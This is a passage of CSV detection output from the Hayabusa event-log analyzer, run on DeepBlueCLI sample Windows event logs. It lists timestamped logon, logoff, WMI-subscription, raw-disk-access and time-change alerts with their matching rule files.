cifs/rdavis-7.sharplogic.local,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:45.841 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: - : Process: C:\Windows\System32\svchost.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:45.841 +09:00,IE8Win7,4624,informational,Logon Type 4 - Batch,User: IEUser : Workstation: IE8WIN7 : IP Address: - : Port: - : LogonID: 0x15f454,rules/hayabusa/default/events/Security/Logons/4624_LogonType-4-Batch.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:45.841 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x15f454,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:45.919 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x15f454,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.263 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: - : Process: C:\Windows\System32\lsass.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.263 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: - : Port: - : LogonID: 0x15f53a : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.263 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: - : Port: - : LogonID: 0x15f546 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.263 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x15f53a,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.669 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x15f546,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.669 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x15f53a,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:54:01.732 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x2553c,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:02.343 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:55:02.343 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:55:25.000 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:32.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:55:35.625 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:35.625 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xdad4 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:35.625 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xdafc : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:35.625 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0xdad4,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:37.450 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:55:37.450 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:55:37.450 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:44.840 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: - : Process: C:\Windows\System32\svchost.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:44.840 +09:00,IE8Win7,4624,informational,Logon Type 4 - Batch,User: IEUser : Workstation: IE8WIN7 : IP Address: - : Port: - : LogonID: 0x13dbc,rules/hayabusa/default/events/Security/Logons/4624_LogonType-4-Batch.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:44.840 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x13dbc,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:57:51.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:57:51.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 07:00:55.356 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0xdafc,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:00:55.903 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0xdafc,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:00:55.903 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0xdad4,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:01:28.840 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:01:28.840 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x4bafc : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:01:28.840 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x4bb14 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:01:28.840 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x4bafc,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:04:16.809 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x4bb14,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:00.218 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 07:05:00.218 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 07:05:21.859 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:31.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 07:05:32.609 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:32.609 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xd99e : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:32.609 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xd9c6 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:32.609 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0xd99e,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:36.944 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 07:05:36.944 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 07:05:36.944 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:40.928 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: - : Process: C:\Windows\System32\svchost.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:40.928 +09:00,IE8Win7,4624,informational,Logon Type 4 - Batch,User: IEUser : Workstation: IE8WIN7 : IP Address: - : Port: - : LogonID: 0x144df,rules/hayabusa/default/events/Security/Logons/4624_LogonType-4-Batch.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:40.928 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x144df,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:08:00.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 07:08:00.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 07:10:10.631 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 08:11:15.779 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 08:11:15.779 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 08:11:15.779 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:29:47.424 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:29:47.517 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:30:12.392 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:30:12.392 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:32:12.657 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x144df,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:34:00.063 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IEUser : Target User: rdavis : IP Address: - : Process: : Target Server: HYPERV.sharplogic.local,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:40:48.532 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0xd9c6,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:42:11.390 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:42:11.390 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:42:34.625 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:42:43.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-22 08:42:49.610 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:42:49.610 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:42:49.610 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:43:06.625 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:43:06.625 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x16559 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:43:06.625 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x16589 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:43:06.625 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x16559,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:44:23.818 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:44:23.818 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:44:23.849 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 08:45:01.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-22 08:45:01.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-22 08:45:09.380 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:45:09.380 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 08:45:09.380 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 09:34:55.380 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 09:37:57.755 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 09:44:32.677 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x16589,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-22 09:53:07.927 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 10:07:45.896 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 10:13:36.380 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 10:21:57.052 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 10:36:35.927 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-22 10:38:16.943 +09:00,IE8Win7,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:07:11.015 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:07:11.015 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:07:26.562 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:07:38.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-24 14:07:42.189 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:07:42.189 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:07:42.189 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:08:08.126 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:08:08.126 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x2b7c0 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:08:08.126 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x2b7f0 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:08:08.126 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x2b7c0,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-24 14:09:50.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-24 14:09:50.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-24 14:11:00.564 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:00.564 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 